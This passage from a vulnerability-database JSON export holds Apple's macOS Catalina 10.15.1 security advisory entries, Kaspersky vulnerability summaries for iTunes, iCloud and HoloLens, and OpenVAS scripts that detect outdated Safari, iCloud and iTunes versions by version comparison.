(@derrekr6)\n\nEntry added February 11, 2020\n\n**Kernel**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8717: Jann Horn of Google Project Zero\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019, updated February 11, 2020\n\n**Kernel**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to determine kernel memory layout\n\nDescription: A memory corruption issue existed in the handling of IPv6 packets. This issue was addressed with improved memory management.\n\nCVE-2019-8744: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**Kernel**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 6, 2019\n\n**libxml2**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Multiple issues in libxml2\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8749: found by OSS-Fuzz\n\nCVE-2019-8756: found by OSS-Fuzz\n\n**libxslt**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: Multiple issues in libxslt\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8750: found by OSS-Fuzz\n\n**manpages**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Catalina 10.15\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2019-8802: Csaba Fitzl (@theevilbit)\n\n**PDFKit**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An attacker may be able to exfiltrate the contents of an encrypted PDF\n\nDescription: An issue existed in the handling of links in encrypted PDFs. This issue was addressed by adding a confirmation prompt.\n\nCVE-2019-8772: Jens M\u00fcller of Ruhr University Bochum, Fabian Ising of FH M\u00fcnster University of Applied Sciences, Vladislav Mladenov of Ruhr University Bochum, Christian Mainka of Ruhr University Bochum, Sebastian Schinzel of FH M\u00fcnster University of Applied Sciences, and J\u00f6rg Schwenk of Ruhr University Bochum\n\nEntry added February 11, 2020\n\n**PluginKit**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: A local user may be able to check for the existence of arbitrary files\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2019-8708: an anonymous researcher\n\n**PluginKit**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8715: an anonymous researcher\n\n**Screen Sharing Server**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: A user who shares their screen may not be able to end screen sharing\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8858: Saul van der Bijl of Saul\u2019s Place Counseling B.V.\n\nEntry added December 18, 2019\n\n**System Extensions**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2019-8805: Scott Knight (@sdotknight) of VMware Carbon Black TAU\n\n**UIFoundation**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: A malicious HTML document may be able to render iframes with sensitive user information\n\nDescription: A cross-origin issue existed with \"iframe\" elements. This was addressed with improved tracking of security origins.\n\nCVE-2019-8754: Renee Trisberg of SpectX\n\nEntry added February 24, 2020\n\n**UIFoundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2019-8745: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**UIFoundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8831: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added February 11, 2020\n\n**UIFoundation**\n\nAvailable for: macOS Mojave 10.14.6, macOS High Sierra 10.13.6\n\nImpact: Parsing a maliciously crafted text file may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2019-8761: Paulos Yibelo of Limehats, Renee Trisberg of SpectX\n\nEntry updated August 10, 2020\n\n**Wi-Fi**\n\nAvailable for: macOS Catalina 10.15\n\nImpact: An attacker in Wi-Fi range may be able to view a small amount of network traffic\n\nDescription: A logic issue existed in the handling of state transitions. This was addressed with improved state management.\n\nCVE-2019-15126: Milos Cermak at ESET\n\nEntry added February 11, 2020\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Find My**\n\nWe would like to acknowledge Amr Elseehy for their assistance.\n\nEntry added July 28, 2020\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero, Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 6, 2019\n\n**libresolv**\n\nWe would like to acknowledge enh at Google for their assistance.\n\n**Local Authentication**\n\nWe would like to acknowledge Ryan Lopopolo for their assistance.\n\nEntry added February 11, 2020\n\n**mDNSResponder**\n\nWe would like to acknowledge Gregor Lang of e.solutions GmbH for their assistance.\n\nEntry added February 11, 2020\n\n**Postfix**\n\nWe would like to acknowledge Chris Barker of Puppet for their assistance.\n\n**python**\n\nWe would like to acknowledge an anonymous researcher for their assistance.\n\n**VPN**\n\nWe would like to acknowledge Royce Gawron of Second Son Consulting, Inc. for their assistance.\n", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-10T07:58:24", "title": "About the security content of macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798", "CVE-2019-8772", "CVE-2019-8750", "CVE-2019-8767", "CVE-2019-8744", "CVE-2019-8749", "CVE-2019-8817", "CVE-2019-8787", "CVE-2017-7152", "CVE-2019-8756", "CVE-2019-8788", "CVE-2019-8761", "CVE-2019-8789", "CVE-2019-8831", "CVE-2019-8715", "CVE-2019-8824", "CVE-2018-12154", "CVE-2019-8825", "CVE-2019-8745", "CVE-2019-8709", "CVE-2019-8592", "CVE-2019-8858", "CVE-2019-8708", "CVE-2019-8797", "CVE-2019-8785", "CVE-2019-8746", "CVE-2019-8794", "CVE-2019-8796", "CVE-2019-8706", "CVE-2019-15126", "CVE-2019-11041", "CVE-2019-11042", "CVE-2019-8737", "CVE-2019-8801", "CVE-2019-8807", "CVE-2018-12152", "CVE-2019-8748", "CVE-2019-8784", "CVE-2019-8759", "CVE-2019-8786", "CVE-2018-12153", "CVE-2019-8509", "CVE-2019-8805", "CVE-2019-8802", "CVE-2019-8850", "CVE-2019-8803", "CVE-2019-8736", "CVE-2019-8705", "CVE-2019-8829", "CVE-2019-8717", "CVE-2019-8716", "CVE-2019-8754"], "modified": "2020-08-10T07:58:24", "id": "APPLE:HT210722", "href": "https://support.apple.com/kb/HT210722", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "kaspersky": [{"lastseen": "2023-12-02T16:45:49", "description": "### *Detect date*:\n10/30/2019\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Apple iTunes. Malicious users can exploit these vulnerabilities to execute arbitrary code, perform cross-site scripting attack, cause denial of service.\n\n### *Affected products*:\nApple iTunes earlier than 12.10.2\n\n### *Solution*:\nUpdate to the latest version \n[Download iTunes](<https://www.apple.com/itunes/download/>)\n\n### *Original advisories*:\n[HT210726](<https://support.apple.com/kb/HT210726>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Apple iTunes](<https://threats.kaspersky.com/en/product/Apple-iTunes/>)\n\n### *CVE-IDS*:\n[CVE-2019-8815](<https://vulners.com/cve/CVE-2019-8815>)9.3Critical \n[CVE-2019-8782](<https://vulners.com/cve/CVE-2019-8782>)6.8High \n[CVE-2019-8822](<https://vulners.com/cve/CVE-2019-8822>)6.8High \n[CVE-2019-8823](<https://vulners.com/cve/CVE-2019-8823>)6.8High \n[CVE-2019-8808](<https://vulners.com/cve/CVE-2019-8808>)6.8High \n[CVE-2019-8783](<https://vulners.com/cve/CVE-2019-8783>)6.8High \n[CVE-2019-8811](<https://vulners.com/cve/CVE-2019-8811>)6.8High \n[CVE-2019-8813](<https://vulners.com/cve/CVE-2019-8813>)4.3Warning \n[CVE-2019-8812](<https://vulners.com/cve/CVE-2019-8812>)6.8High \n[CVE-2019-8814](<https://vulners.com/cve/CVE-2019-8814>)9.3Critical \n[CVE-2019-8819](<https://vulners.com/cve/CVE-2019-8819>)6.8High \n[CVE-2019-8816](<https://vulners.com/cve/CVE-2019-8816>)9.3Critical \n[CVE-2019-8801](<https://vulners.com/cve/CVE-2019-8801>)4.4Warning \n[CVE-2019-8784](<https://vulners.com/cve/CVE-2019-8784>)9.3Critical \n[CVE-2019-8820](<https://vulners.com/cve/CVE-2019-8820>)6.8High \n[CVE-2019-8821](<https://vulners.com/cve/CVE-2019-8821>)6.8High \n[CVE-2019-8827](<https://vulners.com/cve/CVE-2019-8827>)4.3Warning", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-10-30T00:00:00", "type": "kaspersky", "title": "KLA11602 Multiple vulnerabilities in Apple iTunes", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8801", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827"], "modified": "2020-06-03T00:00:00", "id": "KLA11602", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11602/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T16:45:47", "description": "### *Detect date*:\n10/30/2019\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Apple iCloud. Malicious users can exploit these vulnerabilities to execute arbitrary code, perform cross-site scripting attack, cause denial of service.\n\n### *Affected products*:\nApple iCloud earlier than 7.15 \nApple iCloud earlier than 11.0\n\n### *Solution*:\nUpdate to the latest version \n[Download iCloud](<https://support.apple.com/en-us/HT204283>)\n\n### *Original advisories*:\n[HT210728](<https://support.apple.com/kb/HT210728>) \n[HT210727](<https://support.apple.com/kb/HT210727>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Apple iCloud](<https://threats.kaspersky.com/en/product/Apple-iCloud/>)\n\n### *CVE-IDS*:\n[CVE-2019-8750](<https://vulners.com/cve/CVE-2019-8750>)7.5Critical \n[CVE-2019-8710](<https://vulners.com/cve/CVE-2019-8710>)6.8High \n[CVE-2019-8766](<https://vulners.com/cve/CVE-2019-8766>)6.8High \n[CVE-2019-8815](<https://vulners.com/cve/CVE-2019-8815>)9.3Critical \n[CVE-2019-8782](<https://vulners.com/cve/CVE-2019-8782>)6.8High \n[CVE-2019-8822](<https://vulners.com/cve/CVE-2019-8822>)6.8High \n[CVE-2019-8823](<https://vulners.com/cve/CVE-2019-8823>)6.8High \n[CVE-2019-8783](<https://vulners.com/cve/CVE-2019-8783>)6.8High \n[CVE-2019-8811](<https://vulners.com/cve/CVE-2019-8811>)6.8High \n[CVE-2019-8813](<https://vulners.com/cve/CVE-2019-8813>)4.3Warning \n[CVE-2019-8814](<https://vulners.com/cve/CVE-2019-8814>)9.3Critical \n[CVE-2019-8819](<https://vulners.com/cve/CVE-2019-8819>)6.8High \n[CVE-2019-8816](<https://vulners.com/cve/CVE-2019-8816>)9.3Critical \n[CVE-2019-8784](<https://vulners.com/cve/CVE-2019-8784>)9.3Critical \n[CVE-2019-8820](<https://vulners.com/cve/CVE-2019-8820>)6.8High \n[CVE-2019-8821](<https://vulners.com/cve/CVE-2019-8821>)6.8High \n[CVE-2019-8827](<https://vulners.com/cve/CVE-2019-8827>)4.3Warning", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-10-30T00:00:00", "type": "kaspersky", "title": "KLA11603 Multiple vulnerabilities in Apple iCloud", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8710", "CVE-2019-8750", "CVE-2019-8766", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827"], "modified": "2020-06-03T00:00:00", "id": "KLA11603", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11603/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T15:56:16", "description": "### *Detect date*:\n02/14/2023\n\n### *Severity*:\nWarning\n\n### *Description*:\nAn information disclosure vulnerability was found in Microsoft Device. Malicious users can exploit this vulnerability to obtain sensitive information.\n\n### *Affected products*:\nHoloLens 1\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2019-15126](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-15126>) \n\n\n### *Impacts*:\nOSI \n\n### *CVE-IDS*:\n[CVE-2019-15126](<https://vulners.com/cve/CVE-2019-15126>)2.9Warning", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2023-02-14T00:00:00", "type": "kaspersky", "title": "KLA20228 OSI vulnerability in Microsoft Device", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2023-02-16T00:00:00", "id": "KLA20228", "href": "https://threats.kaspersky.com/en/vulnerability/KLA20228/", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "openvas": [{"lastseen": "2020-03-03T18:56:45", "description": "This host is installed with Apple Safari\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-10-30T00:00:00", "type": "openvas", "title": "Apple Safari Security Updates (HT210725)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8808", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8812", "CVE-2019-8814"], "modified": "2020-02-28T00:00:00", "id": "OPENVAS:1361412562310815818", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815818", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nCPE = \"cpe:/a:apple:safari\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815818\");\n script_version(\"2020-02-28T13:41:47+0000\");\n script_cve_id(\"CVE-2019-8813\", \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8808\",\n \"CVE-2019-8811\", \"CVE-2019-8812\", \"CVE-2019-8814\", \"CVE-2019-8816\",\n \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\", \"CVE-2019-8822\",\n \"CVE-2019-8823\", \"CVE-2019-8815\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-02-28 13:41:47 +0000 (Fri, 28 Feb 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-10-30 11:34:18 +0530 (Wed, 30 Oct 2019)\");\n script_name(\"Apple Safari Security Updates (HT210725)\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple Safari\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is\n present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exist due to,\n\n - Multiple memory corruption issues related to improper memory handling.\n\n - A logic issue related to improper state management.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows remote attackers\n to execute arbitrary code and conduct cross site scripting attacks.\");\n\n script_tag(name:\"affected\", value:\"Apple Safari versions before 13.0.3.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple Safari 13.0.3 or later.\n Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210725\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"macosx_safari_detect.nasl\");\n script_mandatory_keys(\"AppleSafari/MacOSX/Version\");\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE))\n exit(0);\n\nvers = infos[\"version\"];\npath = infos[\"location\"];\n\nif(version_is_less(version:vers, test_version:\"13.0.3\")) {\n report = report_fixed_ver(installed_version:vers, fixed_version:\"13.0.3\", install_path:path);\n security_message(port:0, data:report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-03T18:56:51", "description": "This host is installed with Apple iCloud\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-11-05T00:00:00", "type": "openvas", "title": "Apple iCloud Security Updates(HT210728)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8815", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8814"], "modified": "2020-02-28T00:00:00", "id": "OPENVAS:1361412562310815826", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815826", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nCPE = \"cpe:/a:apple:icloud\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815826\");\n script_version(\"2020-02-28T13:41:47+0000\");\n script_cve_id(\"CVE-2019-8784\", \"CVE-2019-8783\", \"CVE-2019-8811\", \"CVE-2019-8814\",\n \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\",\n \"CVE-2019-8822\", \"CVE-2019-8823\", \"CVE-2019-8815\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-02-28 13:41:47 +0000 (Fri, 28 Feb 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-11-05 15:24:05 +0530 (Tue, 05 Nov 2019)\");\n script_name(\"Apple iCloud Security Updates(HT210728)\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple iCloud\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is\n present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exist due to multiple memory\n corruption issues.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows remote attackers\n to execute arbitrary code with system privileges.\");\n\n script_tag(name:\"affected\", value:\"Apple iCloud version below 7.15 on Windows.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple iCloud 7.15 or later.\n Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"registry\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210728\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_apple_icloud_detect_win.nasl\");\n script_mandatory_keys(\"apple/icloud/Win/Ver\");\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_reg.inc\");\n\nif(hotfix_check_sp(win7:2, win7x64:2, win8_1:1, win8_1x64:1, win10:1, win10x64:1) <= 0)\n exit(0);\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE))\n exit(0);\n\nvers = infos[\"version\"];\npath = infos[\"location\"];\n\n#iCloud for Windows 7.x works with versions of Microsoft Windows 7, 8, 8.1, and early versions of Windows 10\n#Ignore for May 2019 Update version of Microsoft Windows 10 and later\nif(version_is_less(version:vers, test_version:\"7.15\")) {\n report = report_fixed_ver(installed_version:vers, fixed_version:\"7.15\", install_path:path);\n security_message(port:0, data:report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-03T18:56:46", "description": "This host is installed with Apple iTunes\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-11-05T00:00:00", "type": "openvas", "title": "Apple iTunes Security Updates(HT210726)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8808", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8801", "CVE-2019-8784", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8812", "CVE-2019-8814"], "modified": "2020-02-28T00:00:00", "id": "OPENVAS:1361412562310815828", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815828", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nCPE = \"cpe:/a:apple:itunes\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815828\");\n script_version(\"2020-02-28T13:41:47+0000\");\n script_cve_id(\"CVE-2019-8784\", \"CVE-2019-8801\", \"CVE-2019-8813\", \"CVE-2019-8782\",\n \"CVE-2019-8783\", \"CVE-2019-8808\", \"CVE-2019-8811\", \"CVE-2019-8812\",\n \"CVE-2019-8814\", \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\",\n \"CVE-2019-8821\", \"CVE-2019-8822\", \"CVE-2019-8823\", \"CVE-2019-8815\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-02-28 13:41:47 +0000 (Fri, 28 Feb 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-11-05 15:24:05 +0530 (Tue, 05 Nov 2019)\");\n script_name(\"Apple iTunes Security Updates(HT210726)\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple iTunes\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target 